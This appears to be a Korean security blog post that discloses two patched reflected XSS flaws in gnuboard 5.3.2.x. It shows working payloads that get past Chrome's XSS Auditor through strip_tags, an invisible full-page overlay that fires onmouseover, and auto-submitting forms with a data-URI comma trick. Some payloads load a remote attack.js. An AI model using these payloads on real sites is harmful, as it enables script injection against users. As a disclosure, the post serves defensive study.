_

Reflected XSS는 더 이상 유효하지 않은가

pjongy 2019. 10. 18. 01:09

일반적으로 XSS는 다양한 웹 취약점들 중 높지 않은 수준으로 분류된다.

 

주의.

현재 Chrome이나 Edge등 메이저 브라우저들은 Reflected XSS 필터에 많은 우회방법이 있다는 점.

그리고 CSP를 통해 개발자가 직접 보호정책을 세울 수 있기 때문에 XSS Auditor를 deprecate했다.

( 이 취약점을 제보했을 당시 정상동작 했던 Chrome XSS Auditor를 포함하는 내용이다. )

( https://www.chromium.org/developers/design-documents/xss-auditor )

 

그중 Reflected XSS는 브라우저의 보호 기법 등으로 인해 더 이상 진짜 역사 속으로 들어간 취약점으로 취급되어 일반적으로 공격자들이 사용하지 않기도 하는 데다가 버그 바운티 측면에서도 보통 "사파리에서는 유효한 공격이다!" 정도로 가능성만 제시하고 막상 크롬을 들이미면 "아무튼 됨" 정도로 마무리한다.

 

아마 공격가능성만 제시해도 포상금은 지급하고 굳이 더 노력을 들여도 금액에 큰 차이가 없으니 효율성을 위해서라면 이런 방법이 더 적절할 수 있겠다.

 

크롬에서 진행했다면 아마 이런 상태일 것이다.

물론 유효한 브라우저가 존재할 수 있는 것은 사실이나 더 고급지게 활용할 수 있다면 하는 편이 좋다고 생각한다.

 

심지어 krcert에서는 더 이상 RXSS를 취약점으로 받지 않고 있다.

취약점 포상 제외 사항(’19.6.24 개정)

묶인 모양새로 볼 때 Self XSS와 같은 수준으로 보는 것 같은데, Self XSS는 개발자 도구 켜고 스크립트 직접 실행하도록 하는 형태라서 애초에 RXSS와는 결이 다르다.

 

어찌 됐건 RXSS는 브라우저들의 다양한 보호기법으로 더 이상 그리 위협적으로 느껴지지 않는다.

물론 CVE-2015-6144, CVE-2015-6176 (XXN)과 같이 브라우저 보호 기법의 논리적인 오류를 공략할 수도 있겠으나 이런 경우는 정말 드물다고 할 수 있겠다. (IE의 정규식 처리가 문제이기도 했고)

 

전달하고자 하는 바를 먼저 말하자면 RXSS가 현대의 브라우저들로 인해 완전히 사장된 공격기법은 아니라는 점이고 실제 사례를 들어 보이겠다.

 

이 취약점은 gnuboard 5.3.2.1 버전에서 발생했던 취약점이다.

(기본적으로 krcert에서는 패치 후 4달 이후에 공개할 수 있고, 해당 취약점 패치 커밋이 올라온 후 이미 4달은 지났다.)

(https://github.com/gnuboard/gnuboard5/commit/4cc8284016941159ea0f0c4848c3a55982ebec2f)

 

( gnuboard의 경우 REQUEST에 전달된 인자들을 변수에 그대로 맵핑하기 때문에 $_GET['st']이런 코드 없이도 $st만으로 REQUEST의 st를 가져올 수 있다. )

$st를 그대로 출력하기 때문에 아주 자연스럽게

st=awef"%20onerror=alert(1)%20a="

로 공격할 수 있을 것 같다.

그렇지 않았다.

물론 여기서 "사파리는 되는데요"를 시전 한다면 뭐...

하지만 난 크롬에서도 XSS를 성공시키고 싶었다.

 

코드를 살펴보니 각종 인자들에 보호 기법이 적용되어있다.

아마 개발자는 이렇게 생각하지 않았을까 싶다.

 

" XSS는 막아야 하는데 이게 <script> 형태로 공격하는 거 같으니 태그를 떼어버리자 "

" XSS 보호 기법은 적용해야 할 것 같은데 스택오버플로에서 strip_tags를 사용하라고 하는군 "

" 그냥 저렇게 처리하면 안 되는 걸 알지만 배포는 해야 하니.. "

 

크롬에서 RXSS를 보호하는 기법은 정확히 알 수 없지만 몇 번의 실험 결과 사용자의 요청 값이 중요한 역할을 한다는 점을 알 수 있었다. ( 당연한 거지만 )

사용자가 요청한 값이 스크립트를 실행할 가능성이 있고 해당 값이 어느 정도의 유사도로 소스코드에 표현되는 경우 크롬에서는 스크립트를 해석하지 않는데 여기서 우회 포인트가 발생한다.

 

사용자의 요청과 실제 스크립트를 실행하는 응답에서 유사도 검사를 피할 수 있으면 되고, 마침 굉장히 적절한 strip_tags 함수로 인해 $st 변수에 전달되는 <> 값은 빈 문자열로 치환된다.

st=awef"%20one<>rror=alert(1)%20a="

로 공격을 진행한다.

Success.

요청한 값은 one<>error인데 응답으로 전달된 값은 onerror이니 애초에 스크립트를 실행할 수 있는 요청도 아닌 데다 응답과 유사도 면에서도 차이가 존재하기 때문에 정상적으로 스크립트를 해석할 수 있게 된다.

 

XSS 방어를 위한 기법때문에 역설적이게도 XSS가 가능해졌다.

 

여기서도 "이제 크롬도 되는데요"를 시전 한다면 뭐...

사파리는 되는데요 보다는 좀 더 낫지만 난 실제로 유효한 공격을 진행하고 싶었다.

 

여기서 문제였던 점은 <a> 태그는 onerror, onload의 이벤트를 적용할 수 없다는 점이다.

즉, 위의 페이로드는 스크립트를 실행할 수 없다. (?)

 

onmouseover 같은걸 사용해야 하는데 사용자들이 뭐 마우스를 오브젝트에 올려달란다고 올려줄 사람들이었으면

같은 묶음으로 보는 것도 인정한다.

아무튼 사용자들이 모르게 동작하도록 하기 위해 꼼수를 사용했다.

st=awef%22%20on<>mouseover=alert(1);%20style=display:block;top:0;left:0;width:2000px;height:2000px;position:absolute;opacity:0;z-index:10000000

z-index에 굉장히 큰 수를 줘서 최상위로 올리고 width, height도 넉넉하게, position은 absolute로 브라우저 좌측 상단에 붙이고 top, left는 0으로, opacity를 0으로 할당하여 사실상 브라우저의 모든 영역을 오브젝트로 채워버렸다.

(이 정도 영역이면 높은 확률로 마우스 포인터는 오브젝트 위에 있을 것이다. )

 

이걸로 스크립트까지는 실행할 수 있게 되었다.

음... 만족스럽지 않다.

 

RXSS를 활용하여 사용자로부터 어떤 동작을 자동으로 진행하게 하기 위해서는 자유롭게 스크립트를 실행할 수 있어야 하는데 페이로드가 너무 복잡하고 길다.

( 파라미터에 여러 줄을 사용할 수도 없기 때문에 공격에 제약이 있다. )

 

역시나 맘에 안 들기 때문에 보다 자유로운 공격을 위해 다른 방법을 생각해낸다.

st=awef%22%20on<>mouseover=(s=document.createElement(`script`)).src=`https://pjongy.com/attack.js`;document.getElementsByTagName(`head`)[0].appendChild(s);%20style=display:block;top:0;left:0;width:2000px;height:2000px;position:absolute;opacity:0;z-index:10000000

<script src="https://pjongy.com/attack.js">

를 동적으로 생성하여 head 태그에 추가하는 스크립트를 실행하도록 작성했고 이로써 pjongy.com/attack.js를 수정하여 동작의 제약을 모두 떨쳐냈다.

 

이런 코드를 attack.js에 작성해두면 깔-끔하게 공격할 수 있다.

 

자 이제 Reflected XSS를 활용하여 보호 기법을 우회하고 자유로운 스크립트 실행을 진행할 수 있게 되었다.

 

 

또 다른 케이스가 있는데 이 또한 내가 발견한 다른 취약점을 함께 예로 들도록 하겠다.

이 취약점은 gnuboard 5.3.2.4에서 발생한 RXSS이고 이 또한 패치 커밋이 올라온 후 이미 4달은 지났다. 

(https://github.com/gnuboard/gnuboard5/commit/40508b05d0e95d84cc0a9668eb810b36940db87e)

필터가 없고 , 를 기준으로 implode하는데
출력 (?)

이 또한 취약점이 발생한다.

<form method="post" id="send" action="http://target.com/adm/sms_admin/emoticon_move.php?sw=move">
  <input type="text" name="fo_no[]" value="a&quot;&gt;&lt;img src=a onerror=alert(1) a=&quot;">
  <input type="submit">
</form>
<script>document.getElementById("send").submit();</script>

 

위 파일을 내 서버에 넣어두고 iframe을 통해 해당 문서를 렌더링 시키는 형태로 공격할 수 있다.

하지만...

이론적으로는...

이 경우 strip_tags도 없기 때문에 공격이 불가능할 것 같지만 implode가 공격 포인트가 된다.

<form method="post" id="send" action="http://target.com/adm/sms_admin/emoticon_move.php?sw=move">
  <input type="text" name="fo_no[]" value="a&quot;&gt;&lt;script//src=data:">
  <input type="text" name="fo_no[]" value="alert(1) a=&quot;">
  <input type="submit">
</form>
<script>document.getElementById("send").submit();</script>

원리는 data URI를 구성하는 것인데 data URI의 경우 data:[<mediatype>][;base64],<data> 형태로 데이터와 메타데이터를 구분하기 때문에 ,를 적절히 사용할 수 있다.

즉,

fo_no[0] = a"><script src=data:

fo_no[1] = alert(1) a="

으로 전달하게 되면 fo_no 배열의 각 요소들이 ,로 concat되기 때문에 <script src=data:,alert(1) /> 형태가 된다.

Success.

 

이 경우도 마찬가지로 script를 동적으로 생성해 공격의 자유도를 높일 수 있다.

<form method="post" id="send" action="http://target.com/adm/sms_admin/emoticon_move.php?sw=move">
  <input type="text" name="fo_no[]" value="a&quot;&gt;&lt;script//src=data:">
  <input type="text" name="fo_no[]" value="(s=document.createElement(`script`)).src=`http://pjongy.com/attack.js`;document.getElementsByTagName(`head`)[0].appendChild(s); a=&quot;">
  <input type="submit">
</form>
<script>document.getElementById("send").submit();</script>

 

실제로 제보할 때에는 다른 취약점들과 엮어 대부분 multiple vulnerability로 공격을 진행했고 여유가 되면 해당 내용도 다룰 것 같다.

 

근데 글을 쓰고보니 꽤 창의적인 방법으로 우회한 것 같은 느낌에 비해 결과물이 너무 단촐하다.

이래서 가능성만 제시하고 돈만 받는건가보다.